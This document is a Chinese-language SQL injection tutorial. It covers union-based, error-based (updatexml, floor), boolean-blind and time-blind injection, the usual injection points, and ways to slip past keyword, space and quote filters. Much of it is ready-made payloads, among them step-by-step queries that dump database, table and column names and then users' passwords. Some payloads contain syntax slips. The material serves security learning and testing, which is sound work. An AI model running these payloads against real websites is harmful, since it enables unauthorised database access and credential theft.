一.什么是SQL注入
分类:可回显的注入和不可回显的注入以及二次注入;
(1)可回显的注入:可以联合查询的注入,报错注入;
(2)不可回显的注入:Bool盲注,时间盲注;
(3)二次注入;
二.可以联合查询的SQL注入
1.SQL语句中的$id变量
该变量会将GET获取到的参数直接拼接到SQL语句中,如:
?id=1'union select 1 -- -
拼接后SQL语句就变成了:
SELECT Id FROM users WHERE user_id = '-1'union select 1 -- -'
闭合前面的单引号,注释掉后面的单引号,中间写上需要的Payload.
步骤:
(1)判断注入类型
从显示的数据可以看出,经过了数据库的查询,尝试输入1':由此可判断为字符型注入
(2)判断字段数
通过尝试
1'order by 1#
1'order by 2#
1'order by 3#
根据返回的结果判断字段数;
(3)判断数据库
1' union select database(),2#
得到当前数据库名称;
(4)获取表名;
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
(5)获取列名;
1'union select group_concat(column_name),2 from information_schema.columns where table_name=table_name()#
此处的table_name()对应的是步骤(4)中获取的表名;
(6)获取数据;
1'union select group_concat(user),group_concat(password) from users#
三.报错注入
1.3种MySQL数据库报错注入的方法,分别是updatexml,floor和exp.
(1)updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
payload
爆数据库名:
?id=1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))#
爆表名:
?id=1'and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
爆列名:
?id=1'and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table_name()),0x7e))#
table_name()为爆的表名
爆数据:
?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
(2)floor
简单来说,floor报错的原理是rand和order by或group by 的冲突.
rand():生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
group by:是根据一个或多个列对结果集进行分组的sql语句
四.Bool盲注
(1)截取函数
a.
substr():字符串截取函数
使用方法:substr(str,start,length),str为别截取的字符串,start为开始截取的位置,length为截取的长度,例如:substr(user(),1,1);
b.
left():左截取函数
使用方法:left(str,length),例如:left(user(),1)
样例:假设user()函数返回的字符串是“admin”,那么
select a from b where left(a,1) = 'a'
select a from b where left(a,2) = 'ad'
c.
right():右截取函数,使用方法与left函数类似.
(2)转换函数
a.
ascii():ascii函数的作用是将字符串转换为ASCII码,可以避免Payload中出现单引号。
例如:ascii(substr(user(),1,1))
b.
hex():Hex函数可以将字符串的值转换为十六进制的值,使用方法类似ascii函数。
(3)比较函数
if():if函数的作用与1=1和1=2的原理类似,如果我们要盲注的对象为假,则可以通过if的返回结果对页面进行控制,使用方法为if(cond,Ture_result,False_result)
样例:
?id=1 and 1=if(ascii(substr(user(),1,1)),1,1))=97,1,2)
如果返回值的ascii为97则返回1,否则返回2.
五.时间盲注、
1.时间盲注是由于服务器端拼接了SQL语句,可以通过页面响应时间进行按位判断数据。
2.时间盲注常用的函数有sleep() 和benchmark()两个.
a.
sleep():睡眠函数
使用方法:sleep(N),并且搭配substr,ascii使用
样例:
if (ascii (substr(user(),1,1))=114,sleep(5),2)
b.
benchmark():重复执行某个语句的函数,已达到延时的效果。
使用方法:
benchmark(N,expression)
六.注入点的位置及发现
1.常见的注入点位置
(1)GET参数中的注入
可以在地址栏获得URL和参数等
(2)POST中的注入
可以通过抓包操作来发现
(3)User-Agent中的注入
(4)Cookie中的注入
2.判断注入点是否存在
(1)插入单引号
(2)数字型判断
(3)通过数字的加减进行判断
七.绕过
1.过滤关键字:即过滤如select,or,from等的关键字
(1)穿插关键字的方法进行绕过
select-- >selselectect;
or-->oorr
(2)大小写转换进行绕过
select-->selECt
or-->Or
(3)十六进制对关键字的个别字母进行替换
select-->selec\x74
or-->o\x72
2.过滤空格
(1)通过注释绕过
# -- // /**/ ;%00
(2)通过URL编码绕过(二次编码)
%20 --> %2520
(3)通过空白字符绕过
(4)通过特殊符号(如反引号,加号等),利用反引号绕过空格的语句
(5)科学计数法绕过
3.过滤单引号
4.绕过相等过滤